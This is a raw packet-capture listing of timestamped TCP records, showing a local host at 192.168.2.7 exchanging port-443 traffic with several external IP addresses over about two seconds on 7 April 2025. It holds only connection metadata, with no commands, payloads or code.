Apr 7, 2025 18:10:10.912626982 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:10.912667036 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:10.912681103 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:10.912722111 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:10.912729979 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:10.912754059 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:10.956271887 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:10.961205006 CEST	443	49786	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:10.961497068 CEST	49786	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:10.961509943 CEST	443	49786	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:10.962575912 CEST	443	49786	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:10.962647915 CEST	49786	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:10.963649035 CEST	49786	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:10.963726997 CEST	443	49786	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:10.963867903 CEST	49786	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:10.963876009 CEST	443	49786	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.090338945 CEST	443	49775	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.090414047 CEST	443	49775	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.090430975 CEST	49775	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.090514898 CEST	49775	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.091656923 CEST	49775	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.091669083 CEST	443	49775	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.144520044 CEST	49786	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.157762051 CEST	443	49787	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:11.158166885 CEST	49787	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:11.158179045 CEST	443	49787	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:11.159267902 CEST	443	49787	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:11.159364939 CEST	49787	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:11.160476923 CEST	49787	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:11.160526991 CEST	443	49787	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:11.160686016 CEST	49787	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:11.160691977 CEST	443	49787	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:11.165139914 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.165282011 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.169543982 CEST	443	49786	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.169747114 CEST	443	49786	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.169811964 CEST	49786	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.212275028 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.212451935 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.212487936 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.243304014 CEST	49786	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.243321896 CEST	443	49786	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.252835989 CEST	49787	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:11.260277033 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.272897005 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.273263931 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.273277044 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.274435043 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.274514914 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.275542974 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.275612116 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.275660992 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.275681973 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.275717020 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.299468040 CEST	49794	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.299524069 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.299587965 CEST	49794	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.299674988 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.299725056 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.299784899 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.300209045 CEST	49794	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.300225019 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.300301075 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.300316095 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.315532923 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.315562010 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.315897942 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.316067934 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.316092014 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.351486921 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.351632118 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.351658106 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.351792097 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.396271944 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.397825003 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.397964001 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.397969961 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.398000002 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.398076057 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.398108959 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.412024021 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.412035942 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.444273949 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.444606066 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.470940113 CEST	443	49787	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:11.471045017 CEST	443	49787	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:11.471292019 CEST	49787	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:11.472408056 CEST	49787	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:11.472421885 CEST	443	49787	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:11.492270947 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.511946917 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.522649050 CEST	49794	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.522696972 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.523299932 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.523842096 CEST	49794	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.523932934 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.524034977 CEST	49794	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.537621021 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.537940979 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.537962914 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.538356066 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.538371086 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.538418055 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.538424969 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.538467884 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.539192915 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.541264057 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.541338921 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.541448116 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.552854061 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.568283081 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.584275007 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.584892035 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.585021019 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.585104942 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.585433960 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.585458040 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.585551977 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.585578918 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.585599899 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.621100903 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.621403933 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.621573925 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.622183084 CEST	49785	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:11.622212887 CEST	443	49785	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:11.628307104 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.679825068 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.682794094 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.720139980 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.720207930 CEST	49794	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.723119974 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.723248005 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.723272085 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.723385096 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.723406076 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.723495007 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.723962069 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.723973036 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.743319035 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.743340969 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.743541002 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.745323896 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.745420933 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.745434999 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.747246027 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.749165058 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.751472950 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.751482010 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.751983881 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.752001047 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.754034996 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.754040956 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.758656025 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.758713007 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.758721113 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.762516975 CEST	49794	443	192.168.2.7	18.164.96.83
Apr 7, 2025 18:10:11.762526035 CEST	443	49794	18.164.96.83	192.168.2.7
Apr 7, 2025 18:10:11.764987946 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.765285969 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.765289068 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.765295982 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.765302896 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.765806913 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.765824080 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.765860081 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.765889883 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.765934944 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.765995979 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.766010046 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.766025066 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.766103029 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.771203995 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.771321058 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.771327019 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.777139902 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.777194023 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.777200937 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.785300970 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.785362959 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.785368919 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.793726921 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.795130968 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.795140982 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.812272072 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.815612078 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.815705061 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.815736055 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.815777063 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.815833092 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.816220999 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.817987919 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.818027973 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.818072081 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.842709064 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.842725039 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.856197119 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.859577894 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.859587908 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.859601021 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.859658957 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.859884024 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.860270023 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.866483927 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.867085934 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.867093086 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.874083996 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.874161959 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.874170065 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.881926060 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.881970882 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.881983042 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.889448881 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.889520884 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.889528036 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.897382021 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.897424936 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.897432089 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.904784918 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.905885935 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.905894995 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.911539078 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911554098 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.911663055 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911711931 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911761999 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911772966 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911796093 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911870956 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911906004 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911950111 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.911982059 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.912020922 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.913439989 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.913494110 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.913500071 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.915879011 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.920697927 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.920742035 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.920751095 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.921736002 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.927261114 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.927551985 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.927558899 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.937467098 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937493086 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.937510967 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937525034 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937587976 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937638044 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937649012 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937659979 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937707901 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937747002 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937788010 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.937834978 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.942178965 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.942235947 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.942251921 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.942692041 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.942737103 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.942744970 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.942918062 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.943325996 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.943341017 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.943358898 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.943411112 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.943448067 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.943454027 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.943468094 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.943502903 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.946669102 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.946724892 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.946741104 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.954073906 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.954181910 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.954310894 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.954376936 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.954452991 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.954507113 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.954534054 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.961000919 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.961051941 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.961066961 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.966140032 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.966240883 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.966252089 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.971501112 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.971602917 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.971613884 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.976018906 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.976073980 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.976079941 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.980935097 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.985240936 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.985249996 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.985646963 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.985698938 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.985702991 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.988271952 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:11.989538908 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989564896 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989665985 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989680052 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989695072 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989707947 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989718914 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989756107 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989770889 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.989779949 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.989850044 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.989856958 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.990906000 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:11.995764017 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.995826006 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.995832920 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.999041080 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:11.999119043 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:11.999126911 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.003282070 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.003376961 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.003385067 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.006577015 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.006628036 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.006633997 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.011928082 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.011981010 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.012005091 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.015245914 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.015301943 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.015312910 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.019695044 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.019836903 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.019865036 CEST	443	49796	142.251.40.193	192.168.2.7
